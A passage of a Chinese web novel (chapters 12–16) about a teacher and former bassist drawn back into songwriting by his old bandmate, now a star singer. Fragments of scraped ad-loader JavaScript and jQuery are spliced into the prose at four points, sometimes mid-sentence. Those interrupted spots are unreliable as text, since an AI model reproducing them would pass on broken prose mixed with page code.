以为他要说什么确实人活在世上就是要优先考虑吃饭梦想不能当饭吃云云。结果俞沅说,是我太弱小了,是我的错。 陈悦说关你什么事,这一整个乐队只有你还想坚持。当然,那时候他嘴上这么说,心里还颇有点过来人的傲慢,想着那是因为你还没毕业,没被社会捶打,所以你觉得还可以坚持。 俞沅说,我要走了。 陈悦问你要走去哪? 俞沅说想让自己变得厉害,让很多人听到他的歌,让很多人喜欢听他的歌,想让他知道他是最好的,想让他能接着做自己喜欢做的事。 俞沅又说,等到那时候我再回来吧。 陈悦说你脑残吧。 非常中二的一番宣言,谁知道俞沅竟然慢慢做到了,第一次在电视上看到俞沅唱他们以前的歌时,陈悦小心翼翼地去试探李萤心怎么想,李萤心说不愧是小沅啊,真为他骄傲。 话间并没有什么想重温乐队旧梦的意思,那时起陈悦就总在想,俞沅说要让李萤心接着做自己喜欢的事还算话吗,还是只是随口一说?如果那是个承诺,他会怎么做? 很快陈悦就知道了。 就像这次,想用一些“旁门左道”让李萤心重新试着写歌的计划,俞沅提前告诉了他,这一切从俞沅要来开演唱会开始。以前一起组乐队时陈悦调侃过这主唱是否和贝斯手有点交往过密了,明明他陈悦才是先来的!……现在更深刻地感觉到俞沅真是超级了解李萤心。 连李萤心如果真的写了歌可能不会发给他,而是发给陈悦,并且让陈悦不要告诉他这种事,都被他预判到了。 为了让俞沅的计划顺利进行,陈悦硬着头皮把李萤心的交代当耳边风。 然后又将俞沅的反馈直接转发到李萤心那里,假装是自己说的。 - 李萤心从陈悦那里得到了很多建议,没想到陈悦这么多年不搞音乐还有那么敏锐的嗅觉,他埋的一些彩蛋被陈悦轻轻点破,陈悦推荐他试试在间奏里加月琴,也让他感觉茅塞顿开——毕竟是类歌仔戏的旋律,加传统乐器是再合适不过的。 那种久违的快意让李萤心全身发麻,他兴奋地回了陈悦一句“太爱你了”,又在本该进入梦乡的时间段重新打开电脑,想看看他的软件里有没有月琴的音源。 陈悦:…… 12.第十二章 李萤心找了一通,只在一个民乐音源包里找到京剧月琴,和他想要的闽台月琴不是同一种。时间也不早了,继续完善这首歌的计划被迫搁置。 第二天睡眠不足的李萤心顶着黑眼圈到班上巡逻早读,本来班里的学生也昏昏沉沉,他指挥他们:“读出声,读出声就不困了。” 稀稀拉拉的读书声响起来。 徐斐然的位子空着,据接她回去的家长小姨反馈,孩子回去也被剥夺了手机使用权,和在学校一样做了三小时卷子,不知是真是假。李萤心在班上绕一圈,分别敲了另外三个乐队成员的桌子,让他们去外面。 三个小孩完全没了在舞台上的意气风发,就像蔫吧的小鸡仔一样垂着脑袋,慢吞吞地挪到了走廊上。 八卦之心人皆有之,本就参差不齐的读书声渐又弱了下去,很多人往外面看。李萤心大力拍门,阎罗似的:“有什么好看的,继续读你们自己的,等下抽背《兰亭集序》,不会的也别上接下来的课了,读到会再回来上课。” 这次再响起的就是一声赛一声嘹亮的琅琅书声了。 李萤心走到三个小孩边上,其中胆子比较大一点的张逸驰举起了手:“老师,我们没带手机。” 李萤心:“问你这个了吗?此地无银三百两?” 张逸驰又把手缩回去了,几个人你看看我我看看你,不知道李萤心要对他们做什么。 李萤心直接问了:“徐斐然说的那个什么综艺节目的事,你们应该也知道吧?” 昨晚除了鼓捣他那歌,他也跟人打听了下严宇那个节目,最近平台准备做一档带选秀性质的乐队节目,不像以前那样把地下的老音乐人们挖出来,而是想捧一些小年轻。找到徐斐然他们应该也是真的,毕竟因为被俞沅转发了,这几个孩子天然带了一点热度。 好心人还给他科普,说就算乐队水平很业余也没关系,成员们人设外形过得去就行,演出啥的都能找人假弹。 李萤心听得满头省略号。 早上在食堂吃饭的时候他就一直想着这事,想法在找学生聊聊和不用多管闲事之间反复横跳,不聊就不必担任何责任,他只是教书匠不是真的灵魂引路人,跟教学无关的事他没必要操心……想得碗里的面线糊都不香了。 算了,管的闲事也不只这一件。 于是一大早的,他把几个学生叫了出来。 学生们听了他的提问,果然都弱弱地点了点头。 “说实话,你们想去吗?”李萤心问。 三人又在用眼神交换意见,随后几个人不太默契地有人摇头有人点头。 “我去了解了一下这个节目,情况都跟你们说一下,”李萤心叹了口气,“去的话也是有很多好处的,首先最好的结果是成为大明星,赚大钱,走向人生巅峰,就算中途被淘汰了,去录节目也是很宝贵的经历,还能顺便在当地玩一圈,也能拿点片酬出点小名。” 刚才点了头的覃思明问:“啊所以老师是建议我们去是吗……” “听我说完,”李萤心道,“我说的都是很理想的情况。也有可能因为你们演奏水平没那么专业,在舞台上出错,被节目当做卖点放大,你们将要接受很多人的审视,也许节目组会给你们安排什么炸裂的剧本……反正因为各种各样的可能,网络上会突然出现一堆莫名其妙攻击你们的人。” 摇了头的王诗恩说:“其实现在已经有了,就说演得就那样还被俞沅转了,还有那种没有原因就来骂我们让我们去死的……” 张逸弛不屑道:“应该是初中生或者小学生,嫉妒我们。” 李萤心刚才打好的腹稿被他们一插嘴有点忘了,他觉得有点好笑又无奈,人类社会永远存在年龄鄙视链,成年人鄙视未成年,未成年高中生鄙视更小的初中生。 不过这不是重点。 李萤心想了想,还是坦诚地说了:“说实话,你们几个都青春靓丽的,美的美帅的帅……别笑,有什么好笑的?……如果真的运气好被看中,节目组或者说平台和资本可能也会不在意你们的实际水平如何,他们总有办法包装你们,把你们捧出道……但这到底是好事还是坏事,你们可以根据自己的实际情况想一下。” 三人都没出声,李萤心摆了摆手:“好了你们回班上背书吧,自己再想想。” 覃思明问:“所以老师没有说想让我们去还是不想让我们去吗?” “这是你们自己的事啊。”李萤心说。 这次倒不是为了逃避责任了。他都说了这么多,不管学生以后怎么选,想甩锅给他都能甩的,去了之后如果不如意,可以说老师之前没有拦着我们,不去的话万一某天觉得痛失良机,又会说都怪那傻逼李萤心哔哔赖赖一堆去录节目有什么风险。 可是他认为学生需要有独立思考的能力,需要有根据自己情况做判断的能力,即便他作为师长,在这种算得上重要机遇的事上也不能轻易替人做决定。 从他自己的角度出发,他的确不希望孩子们过早接触乌七八糟的娱乐圈,也不太能接受自己的学生成为假弹的乐队天团。可是说不定这几个学生当时组乐队只是好玩,对这东西谈不上热爱,他不能用自己的标准去要求他们。再者说,还有可能有孩子家里刚好特别需要钱……人不能像那个说何不食肉糜的皇帝一样。 他目前阶段能做的,只是利用自己的阅历优势,把利与弊摊开到他们面前——因为对世界的探索程度还没有那么高,孩子们的视野暂时难免会有些局限。 等这三人进了班回到各自位置坐下,李萤心也跟着走进教室,开始随机抽取倒霉鬼到他跟前背《兰亭集序》的段落,看见好几个人脸上那种期待他忘了要抽背的表情落了空,心里暗自感到好笑,并决定就让这几个人当接下来的倒霉鬼。 …… 周末李萤心在公寓里补觉,难得睡到了自然醒,醒来之后摸手机,意外但也不是很意外地看见了俞沅给他发来消息。 意外是因为自从上次俞沅问他要编曲无果后,两人又是好几天没联系。不太意外则是由于近来俞沅总时不时就来找他,他有点习惯了。 其实也还蛮开心的。以前组乐队的时候他和俞沅关系最好——不知这样说是否恰当——他其实暗中有给队友们划分在自己心里要好的程度。 陈悦是和他认识最久的,李萤心和他相处起来最轻松随便,此人无疑是他很要好的朋友。乐队里一般贝斯和鼓配合得最紧密,而且石含章很靠谱,平时的演出场地联系、组录音棚之类的事宜都是他处理的,因此虽然此人不爱讲话,两人平时除去音乐以外的交流也不算多,但李萤心对他很信任。俞沅是最爱黏着他的。 但不是因为俞沅爱黏着他,他才觉得他们关系最好。李萤心想,这个比喻或许不恰当,就如同小王子会偏爱被他用心浇灌的玫瑰花一样,他 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 也会偏爱费了他很大工夫才攻略到的俞沅。 第一次发现俞沅有一把他超爱的好嗓音之后,他就向俞沅发出了组队邀请,俞沅果断拒绝。在他反复邀请反复被拒绝之后,终于问出了原因,俞沅当时很是高冷地答他,说自己不擅长在众人面前表演,而且这些活动会占用他学习和打工的时间。 于是闲得发慌的大四学长开始了每天提前去图书馆帮学弟占座的日常,每次占完座给俞沅发信息,一开始是“快来快来我帮你占了座,一下课就有位置学习了”,后来变成“今天也帮你占了座”,再省略成“111”。 虽然专业不同,但天生爱交友的李萤心到处是人脉,很快搞来俞沅需要的专业书和笔记。 此外还去学校对面俞沅打工的饭馆,提上外卖就跑,自作主张分配任务,说自己去哪栋俞沅去哪栋,这样比较节省时间。 感觉得到俞沅家庭条件应该不是很好,于是经常买一堆吃的跑到人家宿舍,说什么自己猪瘾大发什么都想吃结果什么都吃不下,求俞沅和他的舍友们帮他吃掉。那段时间李萤心就是学弟们口中爱请吃饭的好人哥哥。 俞沅对李萤心的态度从一开始的“不用麻烦学长了我自己占座就行”“今天的工资我转一半给你”变成了“谢谢哥”“下次回去我也给你带我家里的特产吧”。 依然不想当主唱的原因,是认为自己不太行,没学过音乐只是爱听歌,一副标准土男大的样子跟那些酷炫的乐队er根本搭不上边,甚至觉得跟在染着金□□漂亮亮的李萤心身边都有点不在同个次元。 “漂漂亮亮”是俞沅支支吾吾说出来的原话,李萤心礼尚往来,捏了一把俞沅的脸:“怎么会这么没自信啊,这张脸不知道多帅,军训刚结束的时候黑不溜秋的确实像个卤蛋,可是现在……看看这优越的面部折叠度,这下颌线,这能滑滑梯的鼻梁。” 俞沅皱起鼻子,但没有阻拦李萤心的手继续在他脸上揉来捏去,只是把视线瞥向别处,小声道:“好夸张……别说了。” 李萤心:“就是发型和穿衣风格确实有点土。” 俞沅把李萤心的手拍下来:“……” 李萤心开怀大笑:“啊哈哈哈哈哈哈,哥哥逗你玩呢。”本来音域就窄,笑太用力声音都劈叉了。 “咳咳……哎呀没事的,”李萤心和他对坐在傍晚空无一人的宿舍里,夕阳从窗外钻进来斜斜打到俞沅脸上,在他脸上分割出一条晨昏线,李萤心双手再次捧上俞沅的脸,认真注视他那双同样漂亮的丹凤眼,“真的,唱歌那么好听,如果不能让所有人听到你的歌声,我会很遗憾、很遗憾、很遗憾的。” …… 结果乐队掰了之后,唯一和他搞得像断交了的只有俞沅。说不失落都是假的。 现在俞沅愿意找他说说话,不管是因为什么,他其实……真的很高兴。 刚睡醒还没完全适应房间里的光线,李萤心睁一只眼眯一只眼点开信息,想看看俞沅发了什么东西过来,一看竟然是歌词。 俞沅说给上次的歌填上了词,想让李萤心帮他看看。 一眼扫过去,内容他还没仔细看,但这歌词的字数竟然刚好能嵌进律动里——不仅是俞沅之前哼的那段,连李萤心后续编的部分也能完美适配。 哇太巧了吧我和小沅这么默契吗……才怪。 李萤心“啧”了一声,心想这陈悦果然还是背叛了他。 13.第十三章 李萤心起身打算先去洗漱,晾俞沅一会儿再给他回复——尽管这个晾的动作毫无意义,因为信息是夜间四点多发来的,离现在已过去五小时,不差这么一会儿,何况李萤心就算秒回,俞沅说不定也还在睡。 但还是要晾一下的,这有利于李萤心发泄自己的报复情绪。 我讲的话你们是一点都不当回事啊!李萤心这么想。想完之后这点本也不值称道的小小不爽很快消解了。 漱口水刺痛着口腔黏膜,李萤心站在镜子前开始放空。 看到那歌词很快能明白过来俞沅是听了歌,除了有些尴尬,李萤心其实没有太被冒犯到的感觉。李萤心知道俞沅在争取些什么,就像他以前做尽了没有边界感的事为了给自己争取一个主唱一样,人和人之间有边界,可在特定场合下有些边界需要被打破,不然事情永远不会有进展,他都能理解,他不反感俞沅的争取,甚至对对方仍然给予他认可还是有点感激。 他只是过不去自己那道坎。 当然比起这些,李萤心其实也挺想知道俞沅觉得他的狗尾续貂好吗?编曲的思路怎么样?以前俞沅就不太会挑他的刺,不管他做什么歌出来他都照单全收,嘴上也总说喜欢,但真的都喜欢吗……? 洗漱完出来,李萤心先把几条重要的工作微信回了,在班群转发了一个通知,再把俞沅发来的歌词点开。 认真看过之后李萤心是真的“哇”出声了。 也不是说这歌词写得有多惊天地泣鬼神,而是合上他的思路了。 旋律和编曲中俞沅与李萤心的part是交替着来的,李萤心想象中是夜航人与岸边人隔着时差的传信。关于海的部分或许能通过曲中元素直观听出来……但传信部分,他在与陈悦交流时并没有提及。 可俞沅的歌词也是一来一回。 俞沅的part可以理解为航行日记,内容没什么稀奇的,说今天天气很好晚上能看见星星,说白天看见跃出海面的白海豚,说船上的两名船员在吵架,说不知道何时能靠岸。 岸边的人告诉他陆地上一切都好,说自己偶尔来海边拾贝,看到过的海上日出和他看的应当是同一轮,还说等他回来再一起喝甜汤。 最后一段歌词说,其实他对着茫茫大海呼喊过很多次,从来没有得到过回音,所以岸边人也只是他的幻想,回信亦然是幻想。 李萤心读完感觉有个木塞子堵住了他心脏。 他敲了行字回复俞沅。他是一名语文老师,做阅读理解或是写评论对他来说是信手拈来的事,但他没说什么特别的,只是表达了对这份歌词的肯定。 李萤心:我觉得挺好的啊。 早上九点多,俞沅又一次秒回了:哥觉得有哪里要改的吗? 李萤心惊奇地问:你不用睡觉? 俞沅:……睡了一下,早上有个通告。 李萤心:辛苦了。 俞沅把前面那句问意见的聊天又引用了下,没打算让李萤心跳过这个问题。 李萤心认真想了想。有要改的吗?别的还好,最后不管怎么说都太可怜了……从个人情感角度出发,他会想让俞沅把最后一段改成出海的人平安归来,两个人高高兴兴地团聚了。 但他不知道俞沅想象中那个等待他返航的岸边人有没有一个具体的原型,也不应该把别人想表达的情绪否定掉。再者说单从文艺创作技法的角度出发,最后留点反转和遗憾也能让作品的情绪在最后冲到巅峰,给人留下更强烈的印象。 李萤心:没有什么要改的吧。 随后他也意识到这么久以来他对这个弟弟实在缺乏关爱,尽管有不欢而散的前提在,在那种互相不交流不联系的情况下突兀去关心人家的生活也不合常理。 可是……可是…… 在无边的海上航行之人,传回来的信的只是天上温柔的星光和平静的海面,但他看到的只是这些吗?如果遇上风雨大作的日子呢?如果掀起的海浪将把航船掀翻呢? 只盼着到目的地,没有感到无望的时候吗?毕竟大海一眼也望不到头。 那年除了一把好嗓子和一副好外形以外一无所有的俞沅一头扎进群狼环伺的娱乐圈名利场,连他这样的看客都在八卦碎片中看到了俞沅很多艰难的时刻。 李萤心轻轻叹气,又补上一句:下次再来找我玩的话,我带你去喝甜汤。 俞沅:好哦。 俞沅又问了问曲子,两人都没有提起中途通过陈悦传话的事。这次李萤心没再顾左右而言他,虽然还是答得模棱两可。 李萤心说:你不急的话,我再想想。 - 又过了一周,到了周五,李萤心和其他老师调了课,早读看完就提前离开了学校。 参加工作好几年,李萤心一天假都没请过,冷不防说要换课还把隔壁刘老师吓了一跳,以为他定然是有什么急事,爽快地和他换了课,还让他不用担心班上的情况。 确实有点事,李萤心要去鹭州录一段音源。 这几天他在B站翻来找去,看到一段质量很高的月琴演奏视频,UP主看起来是个大叔,大概不怎么上线一直没有回复。他又托了别的朋友问,六人定律诚不我欺,竟然真让他联系上了那位视频里的艺术家,对方愿意帮忙录制音源,不过需要他过去一趟。 毕竟高铁坐来坐去麻烦,怕中途出什么问题,李萤心尽量多挪了一些 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 时间出来,结果过去以后顺利得出人意料,当晚就把东西都录完了,大叔对年轻人愿意在新的音乐形式中展现传统乐器这点非常高兴,还说以后有什么需要随时来找他,现场演奏也完全没问题。 总之就这样无端空出了两天。 来都来了,那就在这儿玩两天吧。鹭州是知名旅游城市,按说逛逛也挺好,但李萤心在此地生活了将近七年,离开也不过三年,熟得不能再熟的地方,而且不管是文化还是饮食此地和鲤州也没有多大差别,对李萤心来说在鹭州玩实在没有什么旅行新鲜感。 思来想去李萤心决定回母校看看,顺便还可以拜访一下以前的导师。 鹭州大学因为依山傍海风景生态都好,被戏称为鹭州人民公园,李萤心久违地踏进校园,走了一段路之后就开始后悔——以前在学校里都是开电驴的,从哪到哪都不觉得远,如今切切实实感到了学校大得离谱。 慢悠悠地混在游客中间逛到芙蓉湖边时,看见一群人围在岸边对着湖里面的什么东西一顿狂拍,中国人天性就爱凑热闹,李萤心也不能免俗,赶紧也凑过去看。 走近了才看见两只黑天鹅撅着屁股两脚朝天,以倒立的姿势插在湖里觅食,滑稽得不行。 李萤心对黑天鹅有点心理阴影,没跟着大家在那感叹“哇好可爱”,连连退后几步。但照片还是跟着大家拍,拍完了一时间不知道发给谁。 其实优雅本就是人类对黑天鹅的刻板印象,有时候这鹅嚣张得很。 李萤心想起来有一次他路过这湖边,手里拿着包旺仔小馒头,犯贱对着边上散步的黑天鹅学长“嘬嘬嘬”,学长张开鲜红血盆大喙就来叨他。 李萤心不肯放弃他手上那包旺仔小馒头,狂乱地飞奔,毕竟湖边还明确写着“请不要给黑天鹅投食”,绝非他小气护食。 结果他一跑,鹅也跟着跑,边上其他学生都转过来看他好戏,唯独俞沅骑着他的电动挡在鹅前让他赶紧上车的身姿像个大英雄。 大英雄骑着电驴带他逃命,他把小馒头收好,两手扶在俞沅腰间,时不时回过头看那只鹅有没有追上来,风从前往后灌,他没来得及戴头盔,金色的及肩长发随风飞扬,糊得他满脸都是发丝。 想到这里李萤心忍不住笑了笑,把那两只撅屁股的鹅发给了俞沅。 等李萤心从芙蓉湖慢慢挪到了勤业餐厅门口,收到了俞沅的回复。 俞沅:啊,欺负过你的坏东西。 俞沅:你在学校吗? 俞沅:把它们扭送进勤业餐厅。 李萤心:那就变成禽业餐厅了! 俞沅:[撇嘴] 俞沅又问:哥怎么去鹭州了? 14.第十四章 这次李萤心没藏着掖着,说来这边找一个弹月琴的艺术家录音,俞沅给他发了一个开心得冒花花的表情。 又往前走了几步,李萤心忽然咂摸出不对劲来,这什么反应,一般不是应该问他为什么要录月琴的音吗?甚至很多人——哪怕是闽省本地的年轻人——都不知道月琴是什么东西,更何况俞沅是徽省的,过去他们在这里读书,李萤心也没发现他对本地的传统戏剧和音乐有太大的兴趣。 竟然也没问一下他月琴是什么。 很快他明白过来,恐怕陈悦不仅是把他做的编曲转发给俞沅听而已,说不定当时从陈悦对话框里弹出来一字一句的感想和建议都是出自俞沅之口。这么说有点马后炮,但李萤心的确恍然,怪不得当时感觉陈悦说话的语气都有点不同。 几个学生踩着滑板嘻嘻哈哈地从窜过去,带起一阵熏风,校道旁的凤凰花正盛放,如同烽火当空。李萤心眯了眯眼,回复完导师问他几点到的信息,又敲了行字问俞沅:为什么会想到建议我用月琴? 依然把中间人陈悦放到一边,有时候讲话无需点破太多。果然俞沅没有对这个问题表示疑惑或否认。 俞沅:有段时间喜欢听些歌仔戏和锦歌,闽地靠海,戏曲题材很多都是描写出海的人,我之前哼给你的部分也受到挺多影响的吧,所以觉得加一段月琴挺合适的。 李萤心又随口问:怎么会突然喜欢听这些呢? 俞沅隔了一会儿才回:没什么理由吧。 俞沅:那段时间突然想起来了,还有高甲戏什么的,想到你说你小时候和阿公阿嬷一起在村里面搭的戏台看戏,阿公阿嬷在后面坐着,你和别的小孩挤在最前面,还想爬上戏台。 俞沅:然后就在网上找了很多视频看,还挺后悔在鹭州时没去看一下戏。 李萤心忽然不知该回什么了,在屏幕上敲敲打打,打下“鹭州我也只知道那种在剧院演的戏,和我小时候看的不同”,又全都删去,再打下“下次有机会带你回家看高甲戏吧”,还是尽数删去。 说没什么理由就突然对这些感兴趣了起来,接下来倾吐的字字又都是理由。 最后李萤心说:挺好的。 李萤心:准备拜访一下我导,进院楼了,晚点再聊哦。 俞沅:嗯好。 倒也不是找借口,中午李萤心确实和约了和导师见面聊了聊近况,这是离开学校以后李萤心第一次回来,教授呵呵笑着,说以前觉得最不可能当老师的人当了老师,世事真是无常。 李萤心也呵呵地笑。 和旧人重逢,能说的无非也是些昨日事,笑起来眼角挤出几道和善纹路的教授细数李萤心的从前,说也有别的爱搞课余活动的学生,往往课业不大能兼顾,李萤心上课也积极,学中文要看很多书,也不知道怎么有空一边搞音乐一边把那些大部头都啃了……说以为李萤心会一直搞音乐。 李萤心认为他那时候应当是不讨导师喜欢的学生,费半天劲读上研了,但是在导师面前很直白地表现出将来的职业规划可能和学的专业毫无关系。 结果导师说,这是在说什么话,文学又哪里是那么功利的学问,音乐也是诗,把诗唱遍大江南北挺好,当个语文老师把文学的种子种到孩子们心里也挺好。 只要走在自己想走的路上都好。 拜别了导师,李萤心又在校园里随意逛了逛,看见隧道里有新的涂鸦,在宣传某支新校园乐队的演出。 出来以后看见校门口的行道树生得郁郁葱葱,新芽会长成旧木,旧枝折后还会有新绿萌出,周而复始。 …… 李萤心本来订的是下午三点的高铁票回鲤州,往高铁站方向去的时候,刷到社交平台上有人说鹭州某个广场的俞沅演唱会鹭州场宣传大屏马上要撤了,今天最后一天,让没去的歌迷朋友们赶紧去打卡。 还是本着来都来了的心态,又被最后一天这样的字眼拿捏,李萤心百分百算是俞沅的歌迷朋友,理应去打个卡。 于是改签,改道,半个小时后李萤心站到了广场大屏对面的马路上。 这个广场的大屏是很标准 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的条状,那么长一条的广告牌,结果俞沅只占了最左边的角落,双手握着立麦,侧着头凝望着旁边,然而边上是一片巨大的空白。任谁看了这构图都要吐槽一句不知道设计师怎么想的。 之前李萤心都没太注意过这些线下宣传,不知道别的场次是不是也用的这张图……应该不是,因为他真的对这图没什么印象。 搜了一下,大部分来打卡的粉丝都是舔颜的,说这个侧脸真是绝了,当然也有些吐槽构图的,其中还有人开始解读这样的设计是否别有深意。 有人说什么右边的留白意思是更光明的前途无量的未来,也有人说这是要用更多的好歌填满空白,还有人解读成空白的位置是留给歌迷的,因为俞沅是个很珍惜歌迷的人。 其实正常来说这就像一千个读者有一千个哈姆雷特一样,看客想怎么解读都无所谓,本就没有标准答案,搞不好人家只是随便做了张图而已。 可这次李萤心可以笃定地反驳前面所有的解读。 因为这张照片为什么要这么拍,真的有标准答案。 碰巧李萤心知道答案。他只看了一眼广告牌上人的站位,就解出了答案。 这个十字路口一如往常繁华,车辆川流不息,行人络绎不绝,小摊上的喇叭里传出的叫卖声此起彼伏。 李萤心恍惚间看见六年前的自己和俞沅站在同一个位置等红绿灯,对面的大屏上是当时最火的明星的广告,李萤心仰头看着人家,不知道哪来的雄心壮志,指着广告牌开始畅想:“以后那上面登的会是我们的合照,我们乐队一定会成为天团巨星!” 俞沅笑得眼睛弯弯的:“嗯。” 李萤心继续给这块广告牌做规划:“平时台上你站C位,登上大屏了让我也爽爽,我站中间,你在我旁边好了,然后老悦和石头在隔壁。” “都行,”俞沅轻轻拍了下李萤心的肩,“绿灯了,走吧哥。” 回忆中的绿灯和现实重合,绿灯上的数字开始倒数,李萤心收回始终黏在对面大屏上的视线,终于也朝前走了。 15.第十五章 李萤心平时起得就早,每天六点半要到岗,最迟六点也要起来,如果要稍微收拾一下再赶去食堂吃个早饭就要更早。 现在他在这基础上又提早了一些,起来的时候拉开窗帘一看天还是黑的,他有半个灵魂还在梦中,踩下床时像踩在棉花上,双手猛地往脸上一拍,发出清脆响声,稍微清醒了些,他准备快速洗漱完先弹一会儿棉花……不是,练一会儿琴。 从鹭州回来,他到了公寓以后的第一件事是把声卡和监听耳机翻了出来,再给他那把初学的时候用的依班娜重新做了保养,换弦,调好了音,老伙计闲置了很久但音色尚可。 人有时候就这样,先前好像有一千一万个理由不去碰琴,工作太忙啦,solo没什么意思啦,人还是应该正经上班云云。如今把琴从盒子里捧出来,李萤心把琴抱好,左手按住弦,右手放在拾音器上,坐在平时只用来伏案备课的桌前。手指一动,琴音响起,李萤心轻轻绕过了横在面前的铜墙铁壁。 他想,这并非因为他是一个一往无前的勇者,倒不如说他是个逃兵。只是看见俞沅踽踽独行许久,身侧始终给他留了一个位置……在仰望那巨大的构图奇特的广告牌时,李萤心终于接受了广告牌上那人的感召。 他在等他。 当然之前李萤心就隐隐这样觉得。在鲤州开演唱会可以说是俞沅火到了小地方,走了很远的路到他身边——不管是物理意义上的步行了六公里或是一个比喻——可以说是俞沅喝醉了酒,开着生硬的玩笑希望他回来写歌,不答应也没关系,想方设法哄着他写……这每件事都能找到单独的发生原因,可串在一起,动机从来如一。 至于为什么是这个时间点来找他,可能是俞沅认为自己终于有了些话语权,也可能像他之前说的,他要找李萤心总要有借口,没歌可唱了就是他的借口。 李萤心清楚自己有一个优点,即算得上敏锐,尽管有时候容易过度解读他人的想法。 不过现实生活总难以如愿,俞沅给他留了个位置,不意味着他就真的能站到那个位置去。李萤心不怀疑俞沅想要他和他们重聚的心……拍个宣传图团队或许愿意让他以自己的情怀来构图,真要落到实处则困难重重,先不提现在大家各自有各自的生活,就算能重聚在一起,演奏水平也不一定能配上俞沅如今的高度。 但李萤心觉得这都不要紧了,有什么所谓呢,他往前走了,哪怕不再和俞沅并肩,也能走出一条属于自己的新的路。 比如做一个最会弹贝斯的语文老师,在教职工文艺汇演里大显身手之类的。 到底太久没碰琴,李萤心爬了会格子简单复健一下就赶去上班了。 今天很好,一切都很好,一大早孩子们挺有精神,外语早读,整个班叽里呱啦都在背单词。李萤心回办公室,他周五请了假,晚自习也没在,本来提心吊胆不知道会不会收到别的老师的投诉,结果也没有,替他看班的老师盛赞3班的孩子们令人省心。 课间李萤心在猛猛灌咖啡,余光瞥见几个小孩又挤在办公室门口探头探脑,是乐队的那几个学生,连带已经停完课回来的徐斐然。 发现自己暗中观察的行为已被李萤心抓包,几个学生干脆打了报告进来了。李萤心把杯子放下,问他们有什么事。 徐斐然左右张望了下,看上去不太好意思,她小声说:“老师,我们决定还是不去那个什么鬼综艺了。” “嗯?”李萤心问,“好好想过了吗?” 当初表现出有意愿去的覃思明解释说:“我们觉得老师您说得对,流量热度这些都是一时的,来得快去得可能也快,我们担不起这个热度,别等下潮水褪去我们几个连个高中文凭都拿不到就惨了。” 李萤心:“……那倒也不至于。” “其实我本来是被她拉来凑数的,”王诗恩指了指徐斐然,接着道,“结果现在还挺喜欢这种和朋友们一起玩乐队的感觉,也想继续玩下去。”说着又紧张地看了李萤心一眼,“当然我肯定不会耽误学习……怎么说呢,就是觉得如果要把这个东西长期做下去,还是要多练习。” “就我们这水平上综艺不够丢人现眼的。”张逸驰直白地道出了其他几个人支支 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 吾吾没能准确表达出来的中心思想。 王诗恩补充道:“对的,水平不行,还是别急着做出名的梦吧。还有差不多一个月就要放暑假了,到时候我们再多练练,争取也去上个拼盘演出什么的……” 徐斐然:“欸,老师您知道什么是拼盘吗?” 李萤心眼底带着笑,嘴上却话锋一转:“我不知道什么是拼盘,但我知道你们说的放暑假前有一件很重要的事……期末考你们要是退步就别想着练什么乐队了,我不会让你们这个暑假好过的。” 几名学生:“……” “还有你,徐斐然,”李萤心直接点名,“你这周回校也没把手机交上来,是不是又偷偷带了?” 徐斐然急得发晕:“冤枉啊老师,我已经深刻反省过了,我这周压根就没把手机带学校来。” 李萤心又在心里哈哈大笑,面上不太显,把他们又打发出去:“赶紧回去上课吧。” 读书和做喜欢的事都要加油。 …… 早上提早半小时,晚上睡前也挤半小时出来,如此持续了一段时间,李萤心觉得他和他的琴渐渐又恢复到了那种亲密的关系。此外还要挤时间整理之前做的曲子的工程文件,修修改改好多回,李萤心终于决心把东西发给俞沅。 文件是打包发到俞沅邮箱里去的,李萤心还留了一大堆附言:分轨都在里面,你看看能用的就用,但是千万千万千万不要直接用,让你们团队的人调一下,其实里面很多效果我都觉得可以调,我现在手边连编曲键盘都没有做得实在是有点简陋……月琴是去棚里录的音质ok,其他乐器都是用的音源包,最好你还是找真人录一下。 发出去以后李萤心就开始考虑自己是不是应该把各种设备都搞回来,之前还有些没卖掉的放在老家,暑假可以回去拿上,不知道还能不能用。公寓墙上也可以再贴些吸音海绵,总戴着耳机也不舒服……或者干脆找找鲤州的排练室,不过如果遇到学生就有点尴尬。 正畅想着,俞沅发来信息。 他问:那我能找水晶帮我录贝斯轨吗? 16.第十六章 水晶还想再练练。 李萤心这么答他。 有时候俞沅讲话很跳跃,下一句,俞沅又说:李老师是不是快放暑假了? 李萤心:是啊。 俞沅:我也要放假了。 李萤心:啊是,巡演好像全演完了。 俞沅:该去的商务活动也都暂时去完了。 李萤心:那是该好好休息一下。 俞沅:也不能完全休息,我专辑的歌还没着落,发歌时间间隔不能太久,容易过气。 俞沅:所以想边玩边写。 李萤心:挺好,采采风找找灵感,准备去哪儿玩? 俞沅:上次去鲤州,除了排练和演出,就吃了几顿饭,什么也没逛到。 李萤心“啧”了一声。 俞沅:你在的话,可以带我逛逛,我写歌的时候你也可以给我一些意见。你还要帮我录贝斯轨,不管是练习还是正式录音有什么问题我们当面讨论也更方便。 李萤心:这么草率就决定让我录了吗? 俞沅:这是我深思熟虑过后做出的决定。 李萤心:万一我弹不好呢? 俞沅:我会督促你,直到你能弹好为止。 李萤心:[思考] 李萤心发完这个表情以后,俞沅有一小段时间没回复他。隔了很久,俞沅才说:我已经把所有能找的借口都找了,能让我去找你玩吗? 李萤心对着手机屏幕摇了摇头,嘴角噙起无奈的笑,他打了一个字:来。 李萤心又补充道:不用再找借口了小沅,想聊就聊,想来就来吧。 - 期末的这段时间实在忙得人晕头转向,杂事多了起来,李萤心却不舍得缩减练琴的时间,只好把睡眠时间再极限压缩了下。人有时候还是不得不服老,二十出头的时候天天就睡三四个小时,在排练室泡半天,再在图书馆泡半天,精力还是旺盛非凡,现在少睡点就如行尸走肉。 等到了期末考最后一科监考完,李萤心回班上,雀跃之情可能和学生们不相上下,却还是黑着脸拍几下门让同学们安静下来,努力下压嘴角,把暑假作业和卷子都发了,开始老调重弹,什么明年你们就是高二的学生不能再像刚入学一样嘻嘻哈哈要提前进入高三的备考状态,最后再强调了一通不要去游野泳等等安全相关事宜。 等他终于宣布放学的时候,教室里只花了三分钟左右就几乎空完了。 其实别说学生着急,刚才他说得也着急。 